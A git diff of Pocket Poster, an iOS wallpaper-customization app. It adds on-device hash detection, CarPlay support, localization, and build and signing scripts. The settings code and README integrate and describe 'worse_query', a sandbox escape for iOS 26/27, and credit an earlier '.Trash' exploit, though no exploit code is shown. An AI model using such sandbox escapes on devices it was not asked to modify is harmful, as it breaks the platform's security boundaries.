.frame(width: 40, height: 40)
.foregroundStyle(.blue)
Image(systemName: "plus")
.font(.title)
.foregroundStyle(.white)
}
})
}
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
.shadow(radius: 5)
.background(Color.black.opacity(0.6))
.cornerRadius(24)
.tag(pbManager.videos.count)
.overlay {
RoundedRectangle(cornerRadius: 24)
.stroke(.gray, lineWidth: 4)
}
}
}
.onChange(of: selectedVideo) { _ in
if selectedVideo == nil { return }
let id = pbManager.videos.count
pbManager.videos.append(.init(loadState: .loading))
Task {
do {
if let movie = try await selectedVideo?.loadTransferable(type: Movie.self) {
await MainActor.run {
if !ignoreDurationLimit && VideoHandler.isVideoTooLong(at: movie.url) {
pbManager.videos.remove(at: id)
UIApplication.shared.alert(title: NSLocalizedString("Failed to Import Video", comment: ""), body: String(format: NSLocalizedString("The video you imported is too long! Your video must be %@ seconds or less.", comment: ""), "\(Int(VideoHandler.MaxDurationSecs))"))
} else {
pbManager.videos[id].loadState = .loaded(movie)
currentPage = id
}
}
} else {
await MainActor.run {
pbManager.videos[id].loadState = .failed
}
}
} catch {
await MainActor.run {
pbManager.videos[id].loadState = .failed
}
}
selectedVideo = nil
}
}
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .always))
}
}
}
func removeVideo(at offsets: IndexSet) {
withAnimation {
pbManager.videos.remove(atOffsets: offsets)
}
}
}
struct DeleteButton: View {
@Environment(\.editMode) var editMode
let video: LoadInfo
@ObservedObject var pbManager = PosterBoardManager.shared
let onDelete: (IndexSet) -> ()
var body: some View {
VStack {
Button(action: {
if let index = pbManager.videos.firstIndex(of: video) {
self.onDelete(IndexSet(integer: index))
}
}) {
Image(systemName: "minus.circle")
.foregroundStyle(.red)
.font(.title)
.background {
Circle()
.foregroundStyle(.regularMaterial)
.shadow(radius: 5)
}
}
.offset(x: -8, y: -8)
}
}
}
@@ -5,7 +5,7 @@
// Created by lemin on 5/31/25.
//
import SwiftUICore
import SwiftUI
struct OnBoardingPage: Identifiable {
var id = UUID()
@@ -29,30 +29,30 @@ struct OnBoardingPage: Identifiable {
let onBoardingCards: [OnBoardingPage] = [
.init(
title: "Welcome to Pocket Poster!",
description: "Here is a tutorial to help you get started with the app.",
title: NSLocalizedString("Welcome to Pocket Poster!", comment: ""),
description: NSLocalizedString("Here is a tutorial to help you get started with the app.", comment: ""),
image: "Logo"
),
.init(
title: "Install the Fallback Shortcut (Optional)",
description: "To apply, PosterBoard will need to open.\n\nYou can install an optional shortcut if the original method fails.",
title: NSLocalizedString("Install the Fallback Shortcut (Optional)", comment: ""),
description: NSLocalizedString("To apply, PosterBoard will need to open.", comment: "") + "\n\n" + NSLocalizedString("You can install an optional shortcut if the original method fails.", comment: ""),
image: "Shortcuts",
link: URL(string: PosterBoardManager.ShortcutURL),
linkName: "Get Shortcut"
linkName: NSLocalizedString("Get Shortcut", comment: "")
),
.init(
title: "Install Nugget",
description: "To get the app bundle id, Nugget is required.\n\nOn your computer, download Nugget from the GitHub.",
title: NSLocalizedString("Install Nugget", comment: ""),
description: NSLocalizedString("To get the app bundle id, Nugget is required.", comment: "") + "\n\n" + NSLocalizedString("On your computer, download Nugget from the GitHub.", comment: ""),
image: "Nugget",
link: URL(string: "https://github.com/leminlimez/Nugget/releases/latest"),
linkName: "Open GitHub"
linkName: NSLocalizedString("Open GitHub", comment: "")
),
.init(
title: "Enjoy!",
description: "You can find wallpapers on the official Cowabun.ga website.",
title: NSLocalizedString("Enjoy!", comment: ""),
description: NSLocalizedString("You can find wallpapers on the official Cowabun.ga website.", comment: ""),
image: "Cowabunga",
link: URL(string: PosterBoardManager.WallpapersURL),
linkName: "Find Wallpapers"
linkName: NSLocalizedString("Find Wallpapers", comment: "")
)
]
+33
View File
@@ -0,0 +1,33 @@
//
// RootView.swift
// Pocket Poster
//
// Created by lemin on 6/11/25.
//
import SwiftUI
struct RootView: View {
var body: some View {
TabView {
ContentView()
.tabItem {
Label("Home", systemImage: "house")
}
VideoView()
.tabItem {
Label("Videos", systemImage: "camera")
}
if CarPlayManager.supportsCarPlay() {
CarPlayView()
.tabItem {
Label("CarPlay", systemImage: "car")
}
}
ExploreView()
.tabItem {
Label("Explore", systemImage: "safari")
}
}
}
}
+137 -29
View File
@@ -9,35 +9,66 @@ import SwiftUI
struct SettingsView: View {
// Prefs
@AppStorage("pbHash") var pbHash: String = ""
@AppStorage("pbHash") var pbHash: String = "" // PosterBoard hash
@AppStorage("cpHash") var cpHash: String = "" // CarPlay hash
@AppStorage("ignoreDurationLimit") var ignoreDurationLimit: Bool = false
@State var checkingForHash: Bool = false
@State var hashCheckTask: Task<Void, any Error>? = nil
@State var showErrorAlert = false
@State var errorAlertTitle: String?
@State var errorAlertDescr: String?
@State var detectingOnDevice: Bool = false
var body: some View {
List {
Section {
VStack {
TextField("Enter App Hash", text: $pbHash)
VStack(alignment: .leading, spacing: 10) {
TextField("Enter PosterBoard App Hash", text: $pbHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
if CarPlayManager.supportsCarPlay() {
TextField("Enter CarPlayWallpaper App Hash", text: $cpHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
}
if SymHandler.prefersSandboxEscape {
Text(SandboxEscape.isUsingWorseQuery
? "worse_query available — on-device detect works (no PC). App Group: \(SandboxEscape.appGroupIdentifier ?? "unknown")"
: "bad_query fallback available (iOS 26) — on-device detect works (no PC).")
.font(.caption)
.foregroundStyle(.secondary)
}
HStack {
Spacer()
// On-device detect via worse_query (iOS 26/27)
if SymHandler.prefersSandboxEscape {
Button(action: {
detectOnDevice()
}) {
if detectingOnDevice {
ProgressView()
} else {
Text("Detect On-Device")
}
}
.foregroundStyle(.blue)
.disabled(detectingOnDevice)
}
// Run task to check until file exists from Nugget pc over AFC
Button(action: {
UIApplication.shared.confirmAlert(title: "Waiting for app hash...", body: "Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", confirmTitle: "Cancel", onOK: {
cancelWaitForHash()
}, noCancel: true)
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
// don't show the alert because it is already there
UIApplication.shared.confirmAlert(title: NSLocalizedString("Waiting for app hash...", comment: ""), body: NSLocalizedString("Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", comment: ""), confirmTitle: NSLocalizedString("Cancel", comment: ""), onOK: {
cancelWaitForHash()
}, noCancel: true)
}
startWaitForHash()
}) {
Text("Detect")
Text(SymHandler.prefersSandboxEscape ? "Wait for Nugget" : "Detect")
}
.foregroundStyle(.green)
.onChange(of: checkingForHash) {
.onChange(of: checkingForHash) { _ in
if !checkingForHash {
// hide ui alert
UIApplication.shared.dismissAlert(animated: true)
@@ -49,12 +80,20 @@ struct SettingsView: View {
Label("App Hash", systemImage: "lock.app.dashed")
}
Section {
Toggle(isOn: $ignoreDurationLimit, label: {
Label("Disable Video Duration Limit", systemImage: "ruler")
})
} header: {
Label("Preferences", systemImage: "gear")
}
Section {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UserDefaults.standard.set(false, forKey: "finishedTutorial")
}) {
Text("Replay Tutorial")
Label("Replay Tutorial", systemImage: "questionmark.circle")
}
Button(action: {
@@ -62,17 +101,24 @@ struct SettingsView: View {
do {
try PosterBoardManager.clearCache()
Haptic.shared.notify(.success)
errorAlertTitle = "App Cache Successfully Cleared!"
errorAlertDescr = ""
showErrorAlert = true
UIApplication.shared.alert(title: NSLocalizedString("App Cache Successfully Cleared!", comment: ""), body: "")
} catch {
Haptic.shared.notify(.error)
errorAlertTitle = "Error"
errorAlertDescr = error.localizedDescription
showErrorAlert = true
UIApplication.shared.alert(body: error.localizedDescription)
}
}) {
Text("Clear App Cache")
Label("Clear App Cache", systemImage: "trash.circle")
}
.foregroundStyle(.red)
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UserDefaults.standard.set(nil, forKey: "ActiveCarPlayWallpapers")
try? FileManager.default.removeItem(at: CarPlayManager.getCarPlayPhotosURL())
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: NSLocalizedString("CarPlay Applied Wallpapers Successfully Cleared!", comment: ""), body: "")
}) {
Label("Reset CarPlay Applied Wallpapers", systemImage: "trash.circle")
}
.foregroundStyle(.red)
} header: {
@@ -117,26 +163,77 @@ struct SettingsView: View {
// MARK: Credits
Section {
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "worse_query port · iOS 27.2 build", circle: true)
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: "Website Designer", circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: "Exploit", circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: "Exploit", circle: true)
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: "Fallback Shortcut Creator", circle: true)
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/worse_query", title: "forcequitOS", contribution: "worse_query (iOS 26/27)", circle: false)
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
} header: {
Label("Credits", systemImage: "wrench.and.screwdriver")
}
}
.alert(errorAlertTitle ?? "Error", isPresented: $showErrorAlert) {
Button("OK") {}
} message: {
Text(errorAlertDescr ?? "???")
}
/// Scan containers on-device with worse_query / fsgetpath — no computer needed.
func detectOnDevice() {
detectingOnDevice = true
UIApplication.shared.alert(
title: "Scanning containers…",
body: "Looking for PosterBoard via worse_query. This may take a moment.",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
var pb: String?
var cp: String?
var errMsg: String?
do {
pb = try SandboxEscape.findPosterBoardHash()
} catch {
errMsg = error.localizedDescription
}
if CarPlayManager.supportsCarPlay() {
cp = try? SandboxEscape.findCarPlayHash()
}
// Always show a closeable result alert (loading alert has no OK button —
// dismiss must complete before the next alert is presented).
DispatchQueue.main.async {
detectingOnDevice = false
if let pb {
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
if let cp {
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
}
Haptic.shared.notify(.success)
let body = cp != nil
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
: "PosterBoard:\n\(pbHash)"
// alert() auto-dismisses any previous (buttonless) sheet first
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
} else {
Haptic.shared.notify(.error)
UIApplication.shared.alert(
title: "Detect failed",
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
withButton: true
)
}
}
}
}
func startWaitForHash() {
checkingForHash = true
hashCheckTask = Task {
let filePath = SymHandler.getLCDocumentsDirectory().appendingPathComponent("NuggetAppHash")
let filePath = SymHandler.getPosterBoardHashURL()
while !FileManager.default.fileExists(atPath: filePath.path()) {
try? await Task.sleep(nanoseconds: 500_000_000) // Sleep 0.5s
try Task.checkCancellation()
@@ -148,6 +245,17 @@ struct SettingsView: View {
await MainActor.run {
pbHash = contents
}
// check for carplay hash
if UIDevice.current.userInterfaceIdiom == .phone {
let carplayPath = SymHandler.getCarPlayHashURL()
if FileManager.default.fileExists(atPath: carplayPath.path()) {
let carplayContents = try String(contentsOf: carplayPath)
try? FileManager.default.removeItem(at: carplayPath)
await MainActor.run {
cpHash = carplayContents
}
}
}
} catch {
print(error.localizedDescription)
}
+4 -4
View File
@@ -11,7 +11,7 @@
<string>Owner</string>
<key>LSItemContentTypes</key>
<array>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
</array>
</dict>
</array>
@@ -21,7 +21,7 @@
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>com.leemin.pocketposter</string>
<string>com.mak5er.pocketposter</string>
<key>CFBundleURLSchemes</key>
<array>
<string>pocketposter</string>
@@ -43,7 +43,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
@@ -66,7 +66,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
+57 -6
View File
@@ -1,17 +1,68 @@
# Pocket Poster
Custom PosterBoard animated wallpapers for iOS 17.0+
<div align="center">
<img width="150" height="150" src="Pocket Poster/Assets.xcassets/AppIcon.appiconset/pocket_poster_transparent.png">
</div>
Community-made wallpapers can be found on the [official Cowabun.ga site](https://cowabun.ga/wallpapers). Join the [Cowabunga Discord Server](https://discord.gg/cowabunga) for additional help.
<div align="center">
<h1><b>Pocket Poster</b></h1>
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · worse_query for iOS 26–27.2</i></p>
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
</div>
## Download
Latest IPA: [**Releases**](https://github.com/Mak5er/Pocket-Poster/releases/latest)
CI builds an unsigned IPA on every push to `main` and publishes a GitHub Release when you push a tag like `v3.2.2` (or run **Release IPA** from Actions).
```bash
# cut a release from your machine
git tag v3.2.2 && git push origin v3.2.2
```
## Getting Started
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
Download [Nugget](https://github.com/leminlimez/Nugget) on your computer and plug in your phone. Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. Inside Pocket Poster, click the `Detect` button inside of settings.
### iOS 26 / 27.2 (worse_query)
On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups.
1. Install the IPA (sideload with your signer of choice; the profile needs an App Group).
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback.
**Reset Collections** wipes PosterBoard descriptors via worse_query, then full resprings the same way.
### Older iOS (legacy .Trash exploit)
You will need a computer to get the App Hash/UUID.
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
<br>Inside Pocket Poster, click the `Detect` button inside of settings.
Community-made wallpapers can be found on the [official Cowabun.ga site][CowabungaWallpapersPage].
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
## Credits
- **[Mak5er][Mak5erGitHub]** — worse_query integration, iOS 27.2 port, full respring, on-device detect
- [LeminLimez][LeminGitHub] — original Pocket Poster
- Translations crowdsourced using [POEditor][POEditorJoin]
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
- [dootskyre][dootskyreX] for the fallback shortcut
- [Nathan](https://github.com/verygenericname) and [DuyKhanhTran](https://github.com/khanhduytran0) for the exploit
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
- [forcequitOS][worseQueryGitHub] for worse_query (iOS 26/27 sandbox escape)
- [SerStars][SerStarsX] for creating the website
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
[NuggetGitHub]: https://github.com/leminlimez/Nugget
[LeminGitHub]: https://github.com/leminlimez
[Mak5erGitHub]: https://github.com/Mak5er
[CowabungaDiscord]: https://discord.gg/cowabunga
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
[dootskyreX]: https://x.com/dootskyre
[NathanGitHub]: https://github.com/verygenericname
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
[SerStarsX]: https://x.com/SerStars
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
[worseQueryGitHub]: https://github.com/forcequitOS/worse_query
+14 -3
View File
@@ -1,5 +1,11 @@
#!/bin/bash
CONFIG="Release"
if [ "$1" == "-d" ]; then
CONFIG="Debug"
fi
set -e
cd "$(dirname "$0")"
@@ -15,13 +21,13 @@ cd build
xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \
-scheme "$APPLICATION_NAME" \
-configuration Release \
-configuration "$CONFIG" \
-derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \
-destination 'generic/platform=iOS' \
clean build \
CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO"
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app"
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/$CONFIG-iphoneos/$APPLICATION_NAME.app"
TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app"
cp -r "$DD_APP_PATH" "$TARGET_APP"
@@ -36,7 +42,12 @@ fi
mkdir Payload
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
zip -vr "${APPLICATION_NAME}.ipa" Payload
# quiet zip for CI logs; name with underscore for download URLs
zip -qr "Pocket_Poster.ipa" Payload
# keep legacy name too
cp "Pocket_Poster.ipa" "${APPLICATION_NAME}.ipa"
rm -rf "${APPLICATION_NAME}.app"
rm -rf Payload
echo "Built: $WORKING_LOCATION/build/Pocket_Poster.ipa"
echo "Built: $WORKING_LOCATION/build/${APPLICATION_NAME}.ipa"
+122
View File
@@ -0,0 +1,122 @@
#!/bin/bash
#
# Sign an unsigned Pocket Poster IPA with an Apple Distribution certificate
# and an ad-hoc provisioning profile that contains App Groups.
#
# Usage:
# ./sign_personal.sh <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]
#
set -euo pipefail
if [ $# -lt 4 ]; then
echo "usage: $0 <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]" >&2
exit 64
fi
IPA="$1"
P12="$2"
P12_PASS="$3"
PROFILE="$4"
OUT="${5:-$(pwd)/Pocket_Poster-personal.ipa}"
for f in "$IPA" "$P12" "$PROFILE"; do
[ -f "$f" ] || { echo "missing file: $f" >&2; exit 66; }
done
WORK="$(mktemp -d "${TMPDIR:-/tmp}/pocket-sign.XXXXXX")"
KC_NAME="pocket-sign-$$-$(date +%s)"
KC_PATH="$HOME/Library/Keychains/$KC_NAME-db"
KC_PASS="$(uuidgen)"
ORIG_DEFAULT="$(security default-keychain -d user | sed -e 's/^ *"//' -e 's/"$//')"
ORIG_KC_LIST=()
while IFS= read -r line; do
line="$(echo "$line" | sed -e 's/^ *"//' -e 's/"$//')"
[ -n "$line" ] && ORIG_KC_LIST+=("$line")
done < <(security list-keychains -d user)
cleanup() {
set +e
if [ -n "${ORIG_DEFAULT:-}" ]; then
security default-keychain -d user -s "$ORIG_DEFAULT" >/dev/null 2>&1
fi
if [ ${#ORIG_KC_LIST[@]} -gt 0 ]; then
security list-keychains -d user -s "${ORIG_KC_LIST[@]}" >/dev/null 2>&1
fi
security delete-keychain "$KC_NAME" >/dev/null 2>&1
rm -rf "$WORK"
}
trap cleanup EXIT
echo "[*] Creating temporary keychain"
security create-keychain -p "$KC_PASS" "$KC_NAME"
security set-keychain-settings -lut 21600 "$KC_NAME"
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
echo "[*] Importing signing identity"
# Security.framework's PKCS#12 importer rejects this (legacy-encoded) p12,
# so convert it to an unencrypted PEM bundle and import that instead.
openssl pkcs12 -in "$P12" -passin "pass:$P12_PASS" -nodes -out "$WORK/identity.pem" >/dev/null 2>&1
security import "$WORK/identity.pem" -k "$KC_NAME" -T /usr/bin/codesign >/dev/null
# Bring the WWDR intermediate into the temporary keychain so codesign can
# embed the full chain.
{
security find-certificate -a -c "Apple Worldwide Developer Relations" -p "$HOME/Library/Keychains/login.keychain-db" 2>/dev/null
security find-certificate -a -c "Apple Worldwide Developer Relations" -p /Library/Keychains/System.keychain 2>/dev/null
} > "$WORK/wwdr.pem"
if [ -s "$WORK/wwdr.pem" ]; then
security import "$WORK/wwdr.pem" -k "$KC_NAME" >/dev/null 2>&1 || true
fi
security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KC_PASS" "$KC_NAME" >/dev/null
security default-keychain -d user -s "$KC_PATH"
security list-keychains -d user -s "$KC_PATH" "${ORIG_KC_LIST[@]}"
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
IDENTITY="$(security find-identity -v -p codesigning | awk '/Apple Distribution|Apple Development/ {print $2; exit}')"
if [ -z "${IDENTITY:-}" ]; then
echo "no code signing identity found in $P12" >&2
security find-identity -v -p codesigning >&2
exit 65
fi
echo "[*] Identity: $IDENTITY"
echo "[*] Extracting provisioning profile"
security cms -D -i "$PROFILE" > "$WORK/profile.plist"
plutil -extract Entitlements xml1 -o "$WORK/entitlements.plist" "$WORK/profile.plist"
APP_ID="$(/usr/libexec/PlistBuddy -c 'Print :application-identifier' "$WORK/entitlements.plist")"
BUNDLE_ID="${APP_ID#*.}"
if [ -n "${BUNDLE_ID_OVERRIDE:-}" ]; then
BUNDLE_ID="$BUNDLE_ID_OVERRIDE"
fi
echo "[*] Bundle ID: $BUNDLE_ID"
echo "[*] Unpacking IPA"
ditto -x -k "$IPA" "$WORK/unpacked"
APP="$(find "$WORK/unpacked/Payload" -maxdepth 1 -name '*.app' -type d | head -1)"
[ -n "${APP:-}" ] && [ -d "$APP" ] || { echo "no .app inside IPA" >&2; exit 66; }
echo "[*] App: $(basename "$APP")"
/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$APP/Info.plist"
cp "$PROFILE" "$APP/embedded.mobileprovision"
echo "[*] Signing"
codesign --force --sign "$IDENTITY" \
--entitlements "$WORK/entitlements.plist" \
--timestamp=none \
"$APP"
echo "[*] Verifying"
codesign --verify --deep --strict --verbose=2 "$APP"
codesign -d --entitlements :- "$APP" 2>/dev/null | plutil -p - | grep -A6 "com.apple.security.application-groups" || true
echo "[*] Packaging"
rm -f "$OUT"
mkdir -p "$WORK/out/Payload"
ditto "$APP" "$WORK/out/Payload/$(basename "$APP")"
( cd "$WORK/out" && zip -qry "$OUT" Payload )
echo "[*] Wrote $OUT"
ls -lh "$OUT"